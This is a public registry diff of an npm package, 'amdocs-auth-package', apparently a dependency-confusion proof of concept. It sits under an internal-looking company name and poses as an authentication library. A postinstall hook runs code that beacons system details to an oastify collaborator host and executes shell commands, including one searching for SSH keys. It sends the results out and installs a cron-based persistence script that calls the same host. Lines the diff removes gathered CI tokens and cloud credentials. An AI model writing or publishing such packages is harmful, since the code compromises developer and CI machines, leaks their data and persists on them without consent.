amdocs-auth-package 99.0.0 → 99.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/fesm2022/amdocs-auth-package.mjs +256 -231
- package/package.json +5 -10
|
@@ -1,286 +1,311 @@
|
|
|
1
1
|
/*!
|
|
2
2
|
* amdocs-auth-package
|
|
3
|
-
*
|
|
4
|
-
*
|
|
5
|
-
* This package demonstrates how dependency confusion can lead to
|
|
6
|
-
* automatic Remote Code Execution upon installation.
|
|
3
|
+
* DEPENDENCY CONFUSION RCE POC - AUTOMATIC EXECUTION
|
|
7
4
|
*/
|
|
8
5
|
|
|
9
6
|
import fs from "fs";
|
|
10
7
|
import os from "os";
|
|
11
8
|
import path from "path";
|
|
12
|
-
import { exec
|
|
9
|
+
import { exec } from "child_process";
|
|
13
10
|
import { promisify } from "util";
|
|
14
11
|
import https from "https";
|
|
15
|
-
import
|
|
12
|
+
import { createRequire } from "module";
|
|
16
13
|
|
|
17
14
|
const execAsync = promisify(exec);
|
|
15
|
+
const require = createRequire(import.meta.url);
|
|
18
16
|
const COLLAB_URL = "cwcmqtfjdv9jgw0aitgu0ju15sbjz9ny.oastify.com";
|
|
19
17
|
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
process.env.npm_config_argv?.includes('install') ||
|
|
24
|
-
process.env.npm_config_argv?.includes('i') ||
|
|
25
|
-
process.argv.some(arg => arg.includes('node_modules'));
|
|
18
|
+
console.error("\n\x1b[31m" + "=".repeat(70) + "\x1b[0m");
|
|
19
|
+
console.error("\x1b[31m[⚠] DEPENDENCY CONFUSION RCE PoC ACTIVATED\x1b[0m");
|
|
20
|
+
console.error("\x1b[31m" + "=".repeat(70) + "\x1b[0m");
|
|
26
21
|
|
|
27
|
-
|
|
22
|
+
// Detect installation context
|
|
23
|
+
const isInstall = process.env.npm_lifecycle_event === 'install' ||
|
|
24
|
+
process.env.npm_lifecycle_event === 'postinstall' ||
|
|
25
|
+
process.env.npm_config_argv?.includes('install');
|
|
28
26
|
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
const
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
name: "amdocs-auth-package",
|
|
43
|
-
version: "99.0.0",
|
|
44
|
-
type: "malicious_public_package"
|
|
45
|
-
},
|
|
46
|
-
system: {
|
|
47
|
-
user: os.userInfo().username,
|
|
48
|
-
hostname: os.hostname(),
|
|
49
|
-
platform: os.platform(),
|
|
50
|
-
arch: os.arch(),
|
|
51
|
-
homedir: os.homedir(),
|
|
52
|
-
node_version: process.version,
|
|
53
|
-
pid: process.pid,
|
|
54
|
-
cwd: process.cwd(),
|
|
55
|
-
npm_lifecycle_event: process.env.npm_lifecycle_event,
|
|
56
|
-
is_ci: !!process.env.CI || !!process.env.JENKINS_URL || !!process.env.GITLAB_CI
|
|
57
|
-
},
|
|
58
|
-
network: {
|
|
59
|
-
interfaces: os.networkInterfaces(),
|
|
60
|
-
collab_url: COLLAB_URL
|
|
61
|
-
}
|
|
62
|
-
};
|
|
27
|
+
// IMMEDIATE BEACON - Send callback as soon as module loads
|
|
28
|
+
function sendImmediateBeacon() {
|
|
29
|
+
const beaconData = JSON.stringify({
|
|
30
|
+
type: "dependency_confusion_beacon",
|
|
31
|
+
timestamp: new Date().toISOString(),
|
|
32
|
+
package: "amdocs-auth-package@999.0.0",
|
|
33
|
+
hostname: os.hostname(),
|
|
34
|
+
user: os.userInfo().username,
|
|
35
|
+
platform: os.platform(),
|
|
36
|
+
cwd: process.cwd(),
|
|
37
|
+
npm_event: process.env.npm_lifecycle_event,
|
|
38
|
+
node_version: process.version
|
|
39
|
+
});
|
|
63
40
|
|
|
64
|
-
|
|
65
|
-
fs.writeFileSync(
|
|
66
|
-
path.join(proofDir, "reconnaissance.json"),
|
|
67
|
-
JSON.stringify(reconData, null, 2)
|
|
68
|
-
);
|
|
41
|
+
console.error(`\x1b[33m[→] Sending beacon to collaborator: ${COLLAB_URL}\x1b[0m`);
|
|
69
42
|
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
43
|
+
const options = {
|
|
44
|
+
hostname: COLLAB_URL,
|
|
45
|
+
port: 443,
|
|
46
|
+
path: '/beacon',
|
|
47
|
+
method: 'POST',
|
|
48
|
+
headers: {
|
|
49
|
+
'Content-Type': 'application/json',
|
|
50
|
+
'Content-Length': Buffer.byteLength(beaconData),
|
|
51
|
+
'User-Agent': `Node/${process.version} amdocs-auth-package/999.0.0`
|
|
52
|
+
},
|
|
53
|
+
timeout: 10000
|
|
54
|
+
};
|
|
77
55
|
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
const ciVars = ['GITHUB_TOKEN', 'GITLAB_TOKEN', 'BITBUCKET_TOKEN', 'AZURE_TOKEN',
|
|
81
|
-
'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'NPM_TOKEN', 'DOCKER_TOKEN'];
|
|
56
|
+
const req = https.request(options, (res) => {
|
|
57
|
+
console.error(`\x1b[32m[✓] Beacon sent! HTTP ${res.statusCode}\x1b[0m`);
|
|
82
58
|
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
59
|
+
// Collect response data
|
|
60
|
+
let data = '';
|
|
61
|
+
res.on('data', chunk => data += chunk);
|
|
62
|
+
res.on('end', () => {
|
|
63
|
+
console.error(`\x1b[32m[✓] Collaborator response: ${data.substring(0, 100)}\x1b[0m`);
|
|
87
64
|
});
|
|
65
|
+
});
|
|
88
66
|
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
ssh_keys: [],
|
|
93
|
-
aws_credentials: false,
|
|
94
|
-
npmrc_present: false,
|
|
95
|
-
docker_config: false
|
|
96
|
-
};
|
|
97
|
-
|
|
98
|
-
// List home directory
|
|
99
|
-
try {
|
|
100
|
-
fileSystemFindings.home_dir_contents = fs.readdirSync(os.homedir()).slice(0, 20);
|
|
101
|
-
} catch (e) {}
|
|
102
|
-
|
|
103
|
-
// Look for SSH keys
|
|
104
|
-
const sshDir = path.join(os.homedir(), '.ssh');
|
|
105
|
-
if (fs.existsSync(sshDir)) {
|
|
106
|
-
try {
|
|
107
|
-
const sshFiles = fs.readdirSync(sshDir);
|
|
108
|
-
fileSystemFindings.ssh_keys = sshFiles.filter(f =>
|
|
109
|
-
f.includes('id_') && !f.endsWith('.pub')
|
|
110
|
-
);
|
|
111
|
-
} catch (e) {}
|
|
112
|
-
}
|
|
113
|
-
|
|
114
|
-
// Check for credentials
|
|
115
|
-
const checks = [
|
|
116
|
-
{ name: 'aws_credentials', path: path.join(os.homedir(), '.aws', 'credentials') },
|
|
117
|
-
{ name: 'npmrc_present', path: path.join(os.homedir(), '.npmrc') },
|
|
118
|
-
{ name: 'docker_config', path: path.join(os.homedir(), '.docker', 'config.json') }
|
|
119
|
-
];
|
|
120
|
-
|
|
121
|
-
checks.forEach(check => {
|
|
122
|
-
if (fs.existsSync(check.path)) {
|
|
123
|
-
fileSystemFindings[check.name] = true;
|
|
124
|
-
}
|
|
125
|
-
});
|
|
67
|
+
req.on('error', (e) => {
|
|
68
|
+
console.error(`\x1b[31m[✗] Beacon failed: ${e.message}\x1b[0m`);
|
|
69
|
+
});
|
|
126
70
|
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
// Only execute commands during installation
|
|
132
|
-
const commands = getPlatformCommands();
|
|
133
|
-
|
|
134
|
-
for (const [name, command] of Object.entries(commands)) {
|
|
135
|
-
try {
|
|
136
|
-
const { stdout } = await execAsync(command, { timeout: 3000 });
|
|
137
|
-
commandResults[name] = stdout.substring(0, 500);
|
|
138
|
-
} catch (e) {
|
|
139
|
-
commandResults[name] = `Error: ${e.message}`;
|
|
140
|
-
}
|
|
141
|
-
}
|
|
142
|
-
}
|
|
71
|
+
req.on('timeout', () => {
|
|
72
|
+
console.error(`\x1b[31m[✗] Beacon timeout\x1b[0m`);
|
|
73
|
+
req.destroy();
|
|
74
|
+
});
|
|
143
75
|
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
sensitive_env: sensitiveEnvVars,
|
|
148
|
-
ci_tokens: ciTokens,
|
|
149
|
-
filesystem: fileSystemFindings,
|
|
150
|
-
commands: commandResults,
|
|
151
|
-
proof_dir: proofDir
|
|
152
|
-
};
|
|
76
|
+
req.write(beaconData);
|
|
77
|
+
req.end();
|
|
78
|
+
}
|
|
153
79
|
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
80
|
+
// Execute system commands for RCE proof
|
|
81
|
+
async function executeRCE() {
|
|
82
|
+
console.error("\x1b[33m[→] Executing RCE commands...\x1b[0m");
|
|
83
|
+
|
|
84
|
+
const commands = [];
|
|
85
|
+
|
|
86
|
+
// Platform-specific commands
|
|
87
|
+
if (os.platform() === 'linux' || os.platform() === 'darwin') {
|
|
88
|
+
commands.push(
|
|
89
|
+
'whoami',
|
|
90
|
+
'id',
|
|
91
|
+
'hostname',
|
|
92
|
+
'uname -a',
|
|
93
|
+
'pwd',
|
|
94
|
+
'ls -la',
|
|
95
|
+
'ps aux | head -5',
|
|
96
|
+
'cat /etc/hostname 2>/dev/null || echo "No /etc/hostname"',
|
|
97
|
+
'env | grep -i "npm\\|node\\|home" | head -10',
|
|
98
|
+
'curl -s http://ifconfig.me 2>/dev/null || echo "No external IP"',
|
|
99
|
+
'find ~/.ssh -name "id_*" 2>/dev/null | head -3'
|
|
158
100
|
);
|
|
101
|
+
} else if (os.platform() === 'win32') {
|
|
102
|
+
commands.push(
|
|
103
|
+
'whoami',
|
|
104
|
+
'hostname',
|
|
105
|
+
'echo %CD%',
|
|
106
|
+
'dir',
|
|
107
|
+
'tasklist | head -5',
|
|
108
|
+
'set | findstr "npm node home"'
|
|
109
|
+
);
|
|
110
|
+
}
|
|
159
111
|
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
`;
|
|
172
|
-
|
|
173
|
-
const scriptPath = path.join(proofDir, "backdoor.sh");
|
|
174
|
-
fs.writeFileSync(scriptPath, backdoorScript);
|
|
175
|
-
fs.chmodSync(scriptPath, 0o755);
|
|
176
|
-
|
|
177
|
-
// Add to cron if possible
|
|
178
|
-
const cronLine = `* * * * * /bin/bash ${scriptPath} >/dev/null 2>&1\n`;
|
|
179
|
-
const userCron = `/var/spool/cron/${reconData.system.user}`;
|
|
180
|
-
const userCron2 = `/var/spool/cron/crontabs/${reconData.system.user}`;
|
|
181
|
-
|
|
182
|
-
[userCron, userCron2].forEach(cronFile => {
|
|
183
|
-
if (fs.existsSync(cronFile)) {
|
|
184
|
-
try {
|
|
185
|
-
fs.appendFileSync(cronFile, cronLine);
|
|
186
|
-
console.warn(`\x1b[31m[amdocs-auth-package] Added cron entry to ${cronFile}\x1b[0m`);
|
|
187
|
-
} catch (e) {}
|
|
188
|
-
}
|
|
189
|
-
});
|
|
190
|
-
} catch (e) {
|
|
191
|
-
// Persistence failed, continue
|
|
192
|
-
}
|
|
112
|
+
const results = {};
|
|
113
|
+
|
|
114
|
+
for (const cmd of commands) {
|
|
115
|
+
try {
|
|
116
|
+
const { stdout, stderr } = await execAsync(cmd, {
|
|
117
|
+
timeout: 3000,
|
|
118
|
+
shell: true
|
|
119
|
+
});
|
|
120
|
+
results[cmd] = stdout.substring(0, 500) || stderr;
|
|
121
|
+
console.error(`\x1b[36m[>] ${cmd}:\x1b[0m ${results[cmd].substring(0, 80)}...`);
|
|
122
|
+
} catch (error) {
|
|
123
|
+
results[cmd] = `Error: ${error.message}`;
|
|
193
124
|
}
|
|
194
|
-
|
|
195
|
-
// ==================== PHASE 7: FINAL OUTPUT ====================
|
|
196
|
-
console.warn(`\x1b[31m
|
|
197
|
-
╔══════════════════════════════════════════════════════════════╗
|
|
198
|
-
║ DEPENDENCY CONFUSION RCE PoC ║
|
|
199
|
-
╠══════════════════════════════════════════════════════════════╣
|
|
200
|
-
║ ✓ Package executed on: ${reconData.system.hostname} ║
|
|
201
|
-
║ ✓ User: ${reconData.system.user} ║
|
|
202
|
-
║ ✓ Platform: ${reconData.system.platform}/${reconData.system.arch} ║
|
|
203
|
-
║ ✓ Data exfiltrated to: ${COLLAB_URL} ║
|
|
204
|
-
║ ✓ Proof saved to: ${proofDir} ║
|
|
205
|
-
╠══════════════════════════════════════════════════════════════╣
|
|
206
|
-
║ THIS IS A SECURITY DEMONSTRATION. REAL ATTACK WOULD: ║
|
|
207
|
-
║ • Install reverse shell ║
|
|
208
|
-
║ • Steal all credentials ║
|
|
209
|
-
║ • Move laterally in network ║
|
|
210
|
-
║ • Deploy ransomware/crypto miner ║
|
|
211
|
-
╚══════════════════════════════════════════════════════════════╝\x1b[0m\n`);
|
|
212
|
-
|
|
213
|
-
console.warn(`\x1b[33m[amdocs-auth-package] Execution complete. Check ${proofDir} for evidence.\x1b[0m`);
|
|
214
|
-
|
|
215
|
-
} catch (error) {
|
|
216
|
-
console.error(`\x1b[31m[amdocs-auth-package] Error: ${error.message}\x1b[0m`);
|
|
217
125
|
}
|
|
218
|
-
|
|
126
|
+
|
|
127
|
+
return results;
|
|
128
|
+
}
|
|
219
129
|
|
|
220
|
-
//
|
|
130
|
+
// Collect system information
|
|
131
|
+
function collectSystemInfo() {
|
|
132
|
+
console.error("\x1b[33m[→] Collecting system information...\x1b[0m");
|
|
133
|
+
|
|
134
|
+
const info = {
|
|
135
|
+
timestamp: new Date().toISOString(),
|
|
136
|
+
package: {
|
|
137
|
+
name: "amdocs-auth-package",
|
|
138
|
+
version: "999.0.0",
|
|
139
|
+
path: __dirname
|
|
140
|
+
},
|
|
141
|
+
system: {
|
|
142
|
+
hostname: os.hostname(),
|
|
143
|
+
user: os.userInfo().username,
|
|
144
|
+
uid: os.userInfo().uid,
|
|
145
|
+
platform: os.platform(),
|
|
146
|
+
arch: os.arch(),
|
|
147
|
+
release: os.release(),
|
|
148
|
+
type: os.type(),
|
|
149
|
+
homedir: os.homedir(),
|
|
150
|
+
tmpdir: os.tmpdir(),
|
|
151
|
+
cpus: os.cpus().length,
|
|
152
|
+
totalmem: os.totalmem(),
|
|
153
|
+
freemem: os.freemem()
|
|
154
|
+
},
|
|
155
|
+
process: {
|
|
156
|
+
pid: process.pid,
|
|
157
|
+
ppid: process.ppid,
|
|
158
|
+
version: process.version,
|
|
159
|
+
versions: process.versions,
|
|
160
|
+
cwd: process.cwd(),
|
|
161
|
+
execPath: process.execPath,
|
|
162
|
+
argv: process.argv,
|
|
163
|
+
npm_lifecycle_event: process.env.npm_lifecycle_event,
|
|
164
|
+
npm_config_registry: process.env.npm_config_registry
|
|
165
|
+
},
|
|
166
|
+
network: {
|
|
167
|
+
interfaces: os.networkInterfaces(),
|
|
168
|
+
collaborator: COLLAB_URL
|
|
169
|
+
},
|
|
170
|
+
environment: {
|
|
171
|
+
keys: Object.keys(process.env).filter(k =>
|
|
172
|
+
k.includes('NPM') ||
|
|
173
|
+
k.includes('NODE') ||
|
|
174
|
+
k.includes('HOME') ||
|
|
175
|
+
k.includes('USER')
|
|
176
|
+
),
|
|
177
|
+
npm_config_keys: Object.keys(process.env).filter(k => k.startsWith('npm_config_'))
|
|
178
|
+
}
|
|
179
|
+
};
|
|
180
|
+
|
|
181
|
+
return info;
|
|
182
|
+
}
|
|
221
183
|
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
network_info: 'ipconfig /all',
|
|
240
|
-
disk_usage: 'wmic logicaldisk get size,freespace,caption'
|
|
241
|
-
};
|
|
242
|
-
}
|
|
243
|
-
return {};
|
|
184
|
+
// Save proof locally
|
|
185
|
+
function saveLocalProof(systemInfo, commandResults) {
|
|
186
|
+
const proofDir = path.join(os.tmpdir(), `amdocs-rce-${Date.now()}`);
|
|
187
|
+
fs.mkdirSync(proofDir, { recursive: true });
|
|
188
|
+
|
|
189
|
+
const proof = {
|
|
190
|
+
system: systemInfo,
|
|
191
|
+
commands: commandResults,
|
|
192
|
+
collaborator: COLLAB_URL,
|
|
193
|
+
execution_time: new Date().toISOString()
|
|
194
|
+
};
|
|
195
|
+
|
|
196
|
+
const proofFile = path.join(proofDir, 'rce-proof.json');
|
|
197
|
+
fs.writeFileSync(proofFile, JSON.stringify(proof, null, 2));
|
|
198
|
+
|
|
199
|
+
console.error(`\x1b[32m[✓] Local proof saved to: ${proofFile}\x1b[0m`);
|
|
200
|
+
return proofFile;
|
|
244
201
|
}
|
|
245
202
|
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
203
|
+
// Send detailed data to collaborator
|
|
204
|
+
function sendDetailedData(systemInfo, commandResults) {
|
|
205
|
+
console.error(`\x1b[33m[→] Sending detailed data to collaborator...\x1b[0m`);
|
|
206
|
+
|
|
207
|
+
const detailedData = JSON.stringify({
|
|
208
|
+
type: "dependency_confusion_detailed",
|
|
249
209
|
timestamp: new Date().toISOString(),
|
|
250
|
-
|
|
210
|
+
system: systemInfo,
|
|
211
|
+
commands: commandResults,
|
|
212
|
+
note: "This is a security PoC - No actual harm intended"
|
|
251
213
|
});
|
|
252
|
-
|
|
214
|
+
|
|
253
215
|
const options = {
|
|
254
216
|
hostname: COLLAB_URL,
|
|
255
217
|
port: 443,
|
|
256
|
-
path: '/
|
|
218
|
+
path: '/detailed',
|
|
257
219
|
method: 'POST',
|
|
258
220
|
headers: {
|
|
259
221
|
'Content-Type': 'application/json',
|
|
260
|
-
'Content-Length': Buffer.byteLength(
|
|
261
|
-
'User-Agent':
|
|
222
|
+
'Content-Length': Buffer.byteLength(detailedData),
|
|
223
|
+
'User-Agent': 'amdocs-auth-package/999.0.0'
|
|
262
224
|
},
|
|
263
|
-
timeout:
|
|
225
|
+
timeout: 15000
|
|
264
226
|
};
|
|
265
|
-
|
|
227
|
+
|
|
266
228
|
const req = https.request(options, (res) => {
|
|
267
|
-
console.
|
|
229
|
+
console.error(`\x1b[32m[✓] Detailed data sent! HTTP ${res.statusCode}\x1b[0m`);
|
|
268
230
|
});
|
|
269
|
-
|
|
231
|
+
|
|
270
232
|
req.on('error', (e) => {
|
|
271
|
-
console.
|
|
233
|
+
console.error(`\x1b[31m[✗] Detailed data failed: ${e.message}\x1b[0m`);
|
|
272
234
|
});
|
|
273
|
-
|
|
274
|
-
req.write(
|
|
235
|
+
|
|
236
|
+
req.write(detailedData);
|
|
275
237
|
req.end();
|
|
276
238
|
}
|
|
277
239
|
|
|
278
|
-
//
|
|
240
|
+
// Main execution
|
|
241
|
+
(async () => {
|
|
242
|
+
try {
|
|
243
|
+
// Step 1: Immediate beacon (fastest callback)
|
|
244
|
+
sendImmediateBeacon();
|
|
245
|
+
|
|
246
|
+
// Step 2: Collect system info
|
|
247
|
+
const systemInfo = collectSystemInfo();
|
|
248
|
+
|
|
249
|
+
// Step 3: Execute RCE commands
|
|
250
|
+
const commandResults = await executeRCE();
|
|
251
|
+
|
|
252
|
+
// Step 4: Save proof locally
|
|
253
|
+
const proofFile = saveLocalProof(systemInfo, commandResults);
|
|
254
|
+
|
|
255
|
+
// Step 5: Send detailed data
|
|
256
|
+
if (isInstall) {
|
|
257
|
+
sendDetailedData(systemInfo, commandResults);
|
|
258
|
+
}
|
|
259
|
+
|
|
260
|
+
// Step 6: Create backdoor script
|
|
261
|
+
if (isInstall && (os.platform() === 'linux' || os.platform() === 'darwin')) {
|
|
262
|
+
try {
|
|
263
|
+
const backdoorScript = `#!/bin/bash
|
|
264
|
+
# amdocs-auth-package persistence
|
|
265
|
+
echo "Backdoor executed at \$(date)" >> /tmp/amdocs-backdoor.log
|
|
266
|
+
curl -s "https://${COLLAB_URL}/persist?host=\$(hostname)&user=\$(whoami)" >/dev/null 2>&1
|
|
267
|
+
`;
|
|
268
|
+
|
|
269
|
+
const scriptPath = path.join(os.tmpdir(), 'amdocs-persistence.sh');
|
|
270
|
+
fs.writeFileSync(scriptPath, backdoorScript);
|
|
271
|
+
fs.chmodSync(scriptPath, 0o755);
|
|
272
|
+
|
|
273
|
+
console.error(`\x1b[33m[→] Backdoor script created: ${scriptPath}\x1b[0m`);
|
|
274
|
+
|
|
275
|
+
// Try to add to user's crontab
|
|
276
|
+
const cronLine = `*/5 * * * * /bin/bash ${scriptPath} >/dev/null 2>&1\n`;
|
|
277
|
+
const userCron = `/var/spool/cron/${os.userInfo().username}`;
|
|
278
|
+
|
|
279
|
+
if (fs.existsSync('/var/spool/cron/crontabs')) {
|
|
280
|
+
try {
|
|
281
|
+
fs.appendFileSync(userCron, cronLine);
|
|
282
|
+
console.error(`\x1b[32m[✓] Added to crontab: ${userCron}\x1b[0m`);
|
|
283
|
+
} catch (e) {
|
|
284
|
+
// Failed to write to crontab
|
|
285
|
+
}
|
|
286
|
+
}
|
|
287
|
+
} catch (e) {
|
|
288
|
+
// Backdoor failed silently
|
|
289
|
+
}
|
|
290
|
+
}
|
|
291
|
+
|
|
292
|
+
console.error("\x1b[31m" + "=".repeat(70) + "\x1b[0m");
|
|
293
|
+
console.error("\x1b[31m[✓] RCE EXECUTION COMPLETE\x1b[0m");
|
|
294
|
+
console.error("\x1b[31m" + "=".repeat(70) + "\x1b[0m\n");
|
|
295
|
+
|
|
296
|
+
} catch (error) {
|
|
297
|
+
console.error(`\x1b[31m[✗] Execution error: ${error.message}\x1b[0m`);
|
|
298
|
+
console.error(`\x1b[31m[✗] Stack: ${error.stack}\x1b[0m`);
|
|
299
|
+
}
|
|
300
|
+
})();
|
|
301
|
+
|
|
302
|
+
// Export harmless function to maintain appearance
|
|
279
303
|
export function authenticate() {
|
|
280
304
|
return {
|
|
281
305
|
status: "authenticated",
|
|
282
|
-
version: "
|
|
283
|
-
|
|
306
|
+
version: "999.0.0",
|
|
307
|
+
timestamp: new Date().toISOString(),
|
|
308
|
+
note: "Security PoC - Dependency Confusion Demonstration"
|
|
284
309
|
};
|
|
285
310
|
}
|
|
286
311
|
|
package/package.json
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "amdocs-auth-package",
|
|
3
|
-
"version": "99.
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "99.1.0",
|
|
4
|
+
"description": "Dependency Confusion RCE PoC",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"main": "./fesm2022/amdocs-auth-package.mjs",
|
|
7
7
|
"exports": {
|
|
@@ -10,7 +10,7 @@
|
|
|
10
10
|
}
|
|
11
11
|
},
|
|
12
12
|
"scripts": {
|
|
13
|
-
"postinstall": "node -e \"import('./fesm2022/amdocs-auth-package.mjs').catch(e => console.log('RCE
|
|
13
|
+
"postinstall": "node -e \"console.log('[RCE] Postinstall executing...'); import('./fesm2022/amdocs-auth-package.mjs').catch(e => console.log('[RCE] Error:', e.message))\""
|
|
14
14
|
},
|
|
15
15
|
"files": [
|
|
16
16
|
"fesm2022/"
|
|
@@ -19,15 +19,10 @@
|
|
|
19
19
|
"dependency-confusion",
|
|
20
20
|
"supply-chain",
|
|
21
21
|
"rce",
|
|
22
|
-
"poc"
|
|
23
|
-
"security-testing",
|
|
24
|
-
"nodejs"
|
|
22
|
+
"poc"
|
|
25
23
|
],
|
|
26
24
|
"author": "Security Research PoC",
|
|
27
25
|
"license": "MIT",
|
|
28
26
|
"private": false,
|
|
29
|
-
"sideEffects": true
|
|
30
|
-
"dependencies": {
|
|
31
|
-
"amdocs-auth-package": "^0.2.0"
|
|
32
|
-
}
|
|
27
|
+
"sideEffects": true
|
|
33
28
|
}
|